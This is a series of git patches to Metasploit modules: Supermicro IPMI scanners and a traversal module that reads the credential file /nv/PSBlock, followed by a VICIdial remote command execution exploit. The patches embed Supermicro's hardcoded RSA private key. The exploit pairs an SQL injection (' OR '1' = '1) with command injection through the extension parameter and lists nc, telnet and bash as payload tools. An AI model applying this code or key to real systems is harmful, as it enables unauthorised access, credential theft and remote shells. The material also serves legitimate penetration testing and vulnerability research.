+ [ 'CVE', '2013-3623' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities'] ], 'DisclosureDate' => 'Nov 06 2013')) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb index e56f559ffa..2193963838 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2013-3619' ] + [ 'CVE', '2013-3619' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities'] ], 'DisclosureDate' => 'Nov 06 2013' ) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb index 25115961e9..1828160e55 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ #[ 'CVE', '' ], - #[ 'URL', '' ] # Use R7 blog post + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ] ], 'DisclosureDate' => 'Nov 06 2013')) From 9f87fb33a7b1141d680ddc37b1444fc52c5a6657 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 12:23:56 -0600 Subject: [PATCH 387/409] Move digest calculation to a variable --- modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb index 2193963838..dbedcdeacc 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb @@ -80,12 +80,13 @@ class Metasploit3 < Msf::Auxiliary if result print_good("#{ip}:#{rport} - Found service using Supermicro IPMI static private key to encrypt communications") # Report with the the SSL Private Key hash for the host + digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":") report_note( :host => ip, :proto => 'tcp', :port => rport, :type => 'supermicro.ipmi.ssl.certificate.pkey_hash', - :data => OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":") + :data => digest ) report_vuln({ From 275fd5e2bac870e27a867d051d6684e82aa23988 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 12:25:06 -0600 Subject: [PATCH 388/409] Sort options by name --- modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb index 1828160e55..487e40bd9b 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb @@ -37,10 +37,10 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']), OptInt.new('DEPTH', [true, 'Traversal depth', 1]), # By default downloads from /tmp - OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN']), - OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']) + OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']), + OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']), + OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN']) ], self.class) end From 0609c5b290f7681f91150c84b6fd464741b7c6e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 12:30:22 -0600 Subject: [PATCH 389/409] Move private key to a constant --- .../scanner/http/supermicro_ipmi_cert.rb | 42 +++++++++---------- 1 file changed, 20 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb index dbedcdeacc..9f83f33b47 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb @@ -11,6 +11,25 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + PRIVATE_KEY = <<-EOF.gsub(/^ {4}/, '') + -----BEGIN RSA PRIVATE KEY----- + MIICXQIBAAKBgQC1q1kR6chWLfwspD84Asyy6EFV6SYRGy/gILsYGtn9kCQi2RFo + bNxS5CvphbGWn9D9n5gJpTVWLWb3LwJxGuBKSRj2wrHLlejzw6kSmF+3xFCuMfxV + FSj8TM8JqlOqM1c6lvH2MSXnN7pJBVcekNKbBUEfptakPSejStljbXecSwIDAQAB + AoGAah4/FzGiboTKCyGeNA+eltsIXzCjpdZlrtwvrbLxpyXtldWKT59XS6ww4mXQ + CJYuNBhnbSrt7vrybG0vVfZHEOCvK+5YKBOtvRgrWDgs1Bkc5hsdI5gLx3jE7g6M + PuUvD7ueF4OzYeYRrOLWr957jl32n+hD/k65bKWAUp3aTDECQQDqnEPZWlmoH7Jp + 6woRnEp+1cullHv8DviM5Huh+JeBotSa03p4unhKlRYSqnHdeHU2343n1VUDzvnV + LQWi5G+FAkEAxjt0S67lyuuVD842uZRHt2WSQvwt23aKzQ+EJwV0IXYzfefeLzEm + dDdvc1AJ31gweAQK89/5/1EEF40K7BJdjwJBAJDFdtTT/QlS7eyQPjlZwVp9IVp+ + wvdqYZPHlkb/uLYlPZ6Aq01+e6ZCU0mXZgYtQ99lmhKaQQjFmsMiMh0va2UCQA2T + NLuaFpJ235ZdgNHknaSpiAKeUmWdEJRKY7poXTONbKlKn6SLsR50TWWQLZzl5SvS + 2w0oYW5ile0m84CHIXECQQCrABn0HY4Ll9/4FX+OCWamqwENltU1GcGIogeyFymK + ZVX8QdAVoUiZoUaVku946j63WNSkI1sU/UWhL6XDt4gx + -----END RSA PRIVATE KEY----- + EOF + + def initialize super( 'Name' => 'Supermicro Onboard IPMI Static Encryption Key Scanner', @@ -42,27 +61,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def private_key - key = <<-EOF.gsub(/^ {6}/, '') - -----BEGIN RSA PRIVATE KEY----- - MIICXQIBAAKBgQC1q1kR6chWLfwspD84Asyy6EFV6SYRGy/gILsYGtn9kCQi2RFo - bNxS5CvphbGWn9D9n5gJpTVWLWb3LwJxGuBKSRj2wrHLlejzw6kSmF+3xFCuMfxV - FSj8TM8JqlOqM1c6lvH2MSXnN7pJBVcekNKbBUEfptakPSejStljbXecSwIDAQAB - AoGAah4/FzGiboTKCyGeNA+eltsIXzCjpdZlrtwvrbLxpyXtldWKT59XS6ww4mXQ - CJYuNBhnbSrt7vrybG0vVfZHEOCvK+5YKBOtvRgrWDgs1Bkc5hsdI5gLx3jE7g6M - PuUvD7ueF4OzYeYRrOLWr957jl32n+hD/k65bKWAUp3aTDECQQDqnEPZWlmoH7Jp - 6woRnEp+1cullHv8DviM5Huh+JeBotSa03p4unhKlRYSqnHdeHU2343n1VUDzvnV - LQWi5G+FAkEAxjt0S67lyuuVD842uZRHt2WSQvwt23aKzQ+EJwV0IXYzfefeLzEm - dDdvc1AJ31gweAQK89/5/1EEF40K7BJdjwJBAJDFdtTT/QlS7eyQPjlZwVp9IVp+ - wvdqYZPHlkb/uLYlPZ6Aq01+e6ZCU0mXZgYtQ99lmhKaQQjFmsMiMh0va2UCQA2T - NLuaFpJ235ZdgNHknaSpiAKeUmWdEJRKY7poXTONbKlKn6SLsR50TWWQLZzl5SvS - 2w0oYW5ile0m84CHIXECQQCrABn0HY4Ll9/4FX+OCWamqwENltU1GcGIogeyFymK - ZVX8QdAVoUiZoUaVku946j63WNSkI1sU/UWhL6XDt4gx - -----END RSA PRIVATE KEY----- - EOF - return key - end - # Fingerprint a single host def run_host(ip) connect(true, {"SSL" => true}) #Force SSL @@ -74,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary return end - pkey = OpenSSL::PKey::RSA.new(private_key) + pkey = OpenSSL::PKey::RSA.new(PRIVATE_KEY) result = cert.verify(pkey) if result From c132a609738cacc28526f8c576769f2f4b1b9d97 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 12:32:55 -0600 Subject: [PATCH 390/409] Move Supermicro web interface name to a constant --- .../auxiliary/scanner/http/supermicro_ipmi_traversal.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb index 487e40bd9b..45fbab6803 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb @@ -11,6 +11,8 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + APP_NAME = "Supermicro web interface" + def initialize(info = {}) super(update_info(info, 'Name' => 'Supermicro Onboard IPMI Directory Taversal', @@ -105,15 +107,15 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Checking if it's a Supermicro web interface...") + print_status("#{peer} - Checking if it's a #{APP_NAME}....") if is_supermicro? print_good("#{peer} - Check successful") else - print_error("#{peer} - Supermicro web interface not found") + print_error("#{peer} - #{APP_NAME} not found") return end - print_status("#{peer} - Login into the Supermicro web interface...") + print_status("#{peer} - Login into the #{APP_NAME}...") session = login if session.nil? print_error("#{peer} - Failed to login, check credentials.") From b9caf091d46ecf6a1cf1e4d068041eaa6eb4484e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 12:33:26 -0600 Subject: [PATCH 391/409] Change supermicro_ipmi_traversal location --- .../{scanner/http => admin}/supermicro_ipmi_traversal.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/{scanner/http => admin}/supermicro_ipmi_traversal.rb (100%) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb b/modules/auxiliary/admin/supermicro_ipmi_traversal.rb similarity index 100% rename from modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb rename to modules/auxiliary/admin/supermicro_ipmi_traversal.rb From 6b43d94c727e7bfc93cb679c3a39d1381b6b525c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 6 Nov 2013 13:45:40 -0600 Subject: [PATCH 392/409] Rename, change titles/descriptions, fix minor bugs --- ...ro_ipmi_bof.rb => smt_ipmi_cgi_scanner.rb} | 21 ++++++++++--------- ...ert.rb => smt_ipmi_static_cert_scanner.rb} | 19 ++++++++--------- .../http/smt_ipmi_url_redirect_traversal.rb} | 17 ++++++++------- 3 files changed, 29 insertions(+), 28 deletions(-) rename modules/auxiliary/scanner/http/{supermicro_ipmi_bof.rb => smt_ipmi_cgi_scanner.rb} (84%) rename modules/auxiliary/scanner/http/{supermicro_ipmi_cert.rb => smt_ipmi_static_cert_scanner.rb} (76%) rename modules/auxiliary/{admin/supermicro_ipmi_traversal.rb => scanner/http/smt_ipmi_url_redirect_traversal.rb} (80%) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb similarity index 84% rename from modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb rename to modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index f42d5d7102..2f1e7e8a8a 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -14,15 +14,16 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Supermicro Onboard IPMI Buffer Overflow Scanner', + 'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner', 'Description' => %q{ - This module checks a Supermicro Onboard IPMI web interface against - several unauthenticated buffer overflows. The vulnerabilities exist - on the login.cgi and close_window.cgi components. + This module checks for known vulnerabilities in the CGI applications of + Supermicro Onboard IPMI controllers. These issues currently include + several unauthenticated buffer overflows in the login.cgi and close_window.cgi + components. }, 'Author' => [ - 'hdm', #Discovery and Metasploit module + 'hdm', # Discovery and analysis 'juan vazquez' # Metaspliot module ], 'License' => MSF_LICENSE, @@ -118,11 +119,11 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - vprint_status("#{peer} - Checking if it's a Supermicro web interface...") + vprint_status("#{peer} - Checking if it's a Supermicro IPMI web interface...") if is_supermicro? - vprint_good("#{peer} - Supermicro web interface found") + vprint_good("#{peer} - Supermicro IPMI web interface found") else - vprint_error("#{peer} - Supermicro web interface not found") + vprint_error("#{peer} - Supermicro IPMI web interface not found") return end @@ -139,10 +140,10 @@ class Metasploit3 < Msf::Auxiliary }) end - vprint_status("#{peer} - Checking CVE-2013-3623 (close_window.gi buffer overflow) ...") + vprint_status("#{peer} - Checking CVE-2013-3623 (close_window.gi Buffer Overflow) ...") result = check_close_window if result - print_good("#{peer} - Vulnerable to CVE-2013-3623 (close_window.cgi buffer overflow)") + print_good("#{peer} - Vulnerable to CVE-2013-3623 (close_window.cgi Buffer Overflow)") report_vuln({ :host => rhost, :port => rport, diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb similarity index 76% rename from modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb rename to modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb index 9f83f33b47..1b338506cb 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb @@ -32,18 +32,17 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Supermicro Onboard IPMI Static Encryption Key Scanner', + 'Name' => 'Supermicro Onboard IPMI Static SSL Certificate Scanner', 'Description' => %q{ - This module checks the certificate of the specified web servers. The Supermicro Onboard - IPMI firmware ships with harcoded private encryption keys for both the Lighttpd web server - SSL interface and the Dropbear SSH daemon. An attacker with access to the publicly available - Supermicro firmware can perform man-in-the-middle and offline decryption of communication to - the firmware. This module has been on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware - SMT_X9_214. + This module checks for a static SSL certificate shipped with Supermicro Onboard IPMI + controllers. An attacker with access to the publicly-available firmware can perform + man-in-the-middle attacks and offline decryption of communication to the controller. + This module has been on a Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware + version SMT_X9_214. }, 'Author' => [ - 'hdm', # Discovery and Metasploit module + 'hdm', # Discovery and analysis 'juan' # Metasploit module ], 'License' => MSF_LICENSE, @@ -76,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary result = cert.verify(pkey) if result - print_good("#{ip}:#{rport} - Found service using Supermicro IPMI static private key to encrypt communications") + print_good("#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)") # Report with the the SSL Private Key hash for the host digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":") report_note( @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :name => "Supermicro Onboard IPMI Static Encryption Keys", + :name => "Supermicro Onboard IPMI Static SSL Certificate", :refs => self.references }) end diff --git a/modules/auxiliary/admin/supermicro_ipmi_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb similarity index 80% rename from modules/auxiliary/admin/supermicro_ipmi_traversal.rb rename to modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index 45fbab6803..12378ab526 100644 --- a/modules/auxiliary/admin/supermicro_ipmi_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -15,14 +15,15 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Supermicro Onboard IPMI Directory Taversal', + 'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal', 'Description' => %q{ - This module abuses a directory traversal on the web interface for Supermicro Onboard IPMI. The - vulnerability exists in the url_redirect.cgi CGI application, due to a lack of sanitization - of the url_name parameter. This may allow an attacker with a valid, but not necessarily - administrator-level account, to access the contents of any file on the system. This includes - the /nv/PSBlock file, which contains the cleartext credentials for all configured accounts. - This module has been tested on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214. + This module abuses a directory traversal vulnerability in the url_redirect.cgi application + accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability + is present due to a lack of sanitization of the url_name parameter. This allows an attacker with + a valid, but not necessarily administrator-level account, to access the contents of any file + on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for + all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM) + with firmware version SMT_X9_214. }, 'Author' => [ @@ -57,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary "method" => "GET" }) - if res and res.code == 200 and res.body =~ /ATEN International Co Ltd\./ + if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ return true else return false From 079816777a6162b0728454739adefaa0d52629cf Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Nov 2013 14:22:41 -0600 Subject: [PATCH 393/409] I kin spel --- modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index 2f1e7e8a8a..e38ed9bf10 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'hdm', # Discovery and analysis - 'juan vazquez' # Metaspliot module + 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => From 91639dbb99af8d44a80fbc3eb21cda169bde0fa5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Nov 2013 14:25:28 -0600 Subject: [PATCH 394/409] Trailing whitespace --- modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index e38ed9bf10..4746f52150 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner', 'Description' => %q{ - This module checks for known vulnerabilities in the CGI applications of + This module checks for known vulnerabilities in the CGI applications of Supermicro Onboard IPMI controllers. These issues currently include several unauthenticated buffer overflows in the login.cgi and close_window.cgi components. From 09c31f7582adf5822b9ab0f8a6b7698eed07da4c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 6 Nov 2013 15:06:04 -0600 Subject: [PATCH 395/409] Small nitpicks to catch bad http responses --- modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb | 6 +++--- .../scanner/http/smt_ipmi_url_redirect_traversal.rb | 8 ++++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index 4746f52150..16d77a623a 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary "method" => "GET" }) - if res and res.code == 200 and res.body =~ /ATEN International Co Ltd\./ + if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ return true else return false @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary res = send_close_window_request(safe_check) - unless res and res.code == 200 and res.body =~ /Can't find action/ + unless res and res.code == 200 and res.body.to_s =~ /Can't find action/ return false end @@ -104,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary res = send_login_request(safe_check) - unless res and res.code == 200 and res.body =~ /ATEN International Co Ltd\./ and res.body =~ /top\.location\.href = location\.href/ + unless res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ and res.body.to_s =~ /top\.location\.href = location\.href/ return false end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index 12378ab526..d32240505b 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'hdm', # Discovery and Metasploit module + 'hdm', # Discovery and analysis 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if res and res.code == 200 and res.body =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.headers["Set-Cookie"] =~ /(SID=[a-z]+)/ + if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.headers["Set-Cookie"].to_s =~ /(SID=[a-z]+)/ return $1 else return nil @@ -100,8 +100,8 @@ class Metasploit3 < Msf::Auxiliary } }) - if res and res.code == 200 and res.headers["Content-type"] =~ /text\/html/ and res.headers["Pragma"].nil? - return res.body + if res and res.code == 200 and res.headers["Content-type"].to_s =~ /text\/html/ and res.headers["Pragma"].nil? + return res.body.to_s else return nil end From b9cb8e793056341d1e158ac70aa2f8de06ac1d8a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 15:53:12 -0600 Subject: [PATCH 396/409] Add new options --- .../multi/http/vicidial_manager_send_cmd_exec.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb index b6cc4eb9cf..8758c6dcee 100755 --- a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => 'Oct 23 2013', 'Privileged' => true, - 'Platform' => ['linux','unix'], + 'Platform' => ['unix'], 'Payload' => { 'DisableNops' => true @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Platform' => 'unix' } - ], + ] ], 'DefaultTarget' => 0 )) @@ -57,10 +57,18 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), - OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']) + OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']), + OptString.new('USER_ASTGUI', [true, 'astGUIcient User Login', 'test']), + OptString.new('PASS_ASTGUI', [true, 'astGUIcient User Password', 'test']), + OptString.new('PHONE_USER_ASTGUI', [true, 'astGUIcient Phone Login', 'test']), + OptString.new('PHONE_PASSWORD_ASTGUI', [true, 'astGUIcient Phone Password', 'test']) ], self.class) end + def login + + end + def request(cmd) begin res = send_request_cgi({ From 2b2ec1a5767127304a448f202eab1d768b278e4c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 15:53:45 -0600 Subject: [PATCH 397/409] Change module location --- .../{multi/http => unix/webapp}/vicidial_manager_send_cmd_exec.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{multi/http => unix/webapp}/vicidial_manager_send_cmd_exec.rb (100%) diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb similarity index 100% rename from modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb rename to modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb From 24d22c96a5325b89804883469bb968717cebd406 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 20:15:40 -0600 Subject: [PATCH 398/409] Improve exploitation --- .../webapp/vicidial_manager_send_cmd_exec.rb | 149 ++++++++++++------ 1 file changed, 100 insertions(+), 49 deletions(-) diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index 8758c6dcee..87ae7f3b51 100755 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -28,26 +28,42 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Adam Caudill ', # Vulnerability discovery - 'AverageSecurityGuy ' # Metasploit Module + 'AverageSecurityGuy ', # Metasploit Module + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ] + [ 'CVE', '2013-4467' ], + [ 'CVE', '2013-4468' ], + [ 'OSVDB', '98903' ], + [ 'OSVDB', '98902' ], + [ 'BID', '63340' ], + [ 'BID', '63288' ], + [ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ], + [ 'URL', 'http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/' ] ], 'DisclosureDate' => 'Oct 23 2013', 'Privileged' => true, 'Platform' => ['unix'], 'Payload' => { - 'DisableNops' => true + 'DisableNops' => true, + 'Space' => 8000, # Apache's limit for GET, it should be enough one to fit any payload + 'Compat' => + { + 'PayloadType' => 'cmd', + # Based on vicibox availability of binaries + 'RequiredCmd' => 'generic perl python awk bash telnet nc openssl', + } }, 'Targets' => [ [ 'CMD', { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' } ] ], @@ -56,72 +72,107 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), - OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']), - OptString.new('USER_ASTGUI', [true, 'astGUIcient User Login', 'test']), - OptString.new('PASS_ASTGUI', [true, 'astGUIcient User Password', 'test']), - OptString.new('PHONE_USER_ASTGUI', [true, 'astGUIcient Phone Login', 'test']), - OptString.new('PHONE_PASSWORD_ASTGUI', [true, 'astGUIcient Phone Password', 'test']) + OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), + OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']), + OptString.new('USER_ASTGUI', [true, 'astGUIcient User Login', '6666']), + OptString.new('PASS_ASTGUI', [true, 'astGUIcient User Password', '1234']), + OptString.new('PHONE_USER_ASTGUI', [true, 'astGUIcient Phone Login', '6666']), + OptString.new('PHONE_PASSWORD_ASTGUI', [true, 'astGUIcient Phone Password', '1234']) ], self.class) end + # Login through astGUIclient and create a web_client_sessions if there isn't + # something available def login - - end - - def request(cmd) begin res = send_request_cgi({ - 'uri' => '/agc/manager_send.php', - 'method' => 'GET', - 'vars_get' => { - "enable_sipsak_messages" => "1", - "allow_sipsak_messages" => "1", - "protocol" => "sip", - "ACTION" => "OriginateVDRelogin", - "session_name" => rand_text_alpha(12), # Random session name - "server_ip" => "' OR '1' = '1", # SQL Injection to validate the session - "extension" => ";#{cmd};", - "user" => datastore['USERNAME'], - "pass" => datastore['PASSWORD'] + 'uri' => '/agc/astguiclient.php', + 'method' => 'POST', + 'vars_post' => { + "user" => datastore["USER_ASTGUI"], + "pass" => datastore["PASS_ASTGUI"], + "phone_login" => datastore["PHONE_USER_ASTGUI"], + "phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"] } }) - - if res.nil? or res.code == 404 - vprint_error("#{rhost}:#{rport} - No response or page not found.") - return nil - end - - if res.body =~ /Invalid Username\/Password/ - vprint_error("#{rhost}:#{rport} - Invalid Username or Password.") - return nil - end - - return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end + + return res + end + + def request(cmd, timeout = 20) + begin + res = send_request_cgi({ + 'uri' => '/agc/manager_send.php', + 'method' => 'GET', + 'vars_get' => { + "enable_sipsak_messages" => "1", + "allow_sipsak_messages" => "1", + "protocol" => "sip", + "ACTION" => "OriginateVDRelogin", + "session_name" => rand_text_alpha(12), # Random session name + "server_ip" => "' OR '1' = '1", # SQL Injection to validate the session + "extension" => ";#{cmd};", + "user" => datastore['USERNAME'], + "pass" => datastore['PASSWORD'] + } + }, timeout) + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil + end + + return res end def check - resp = 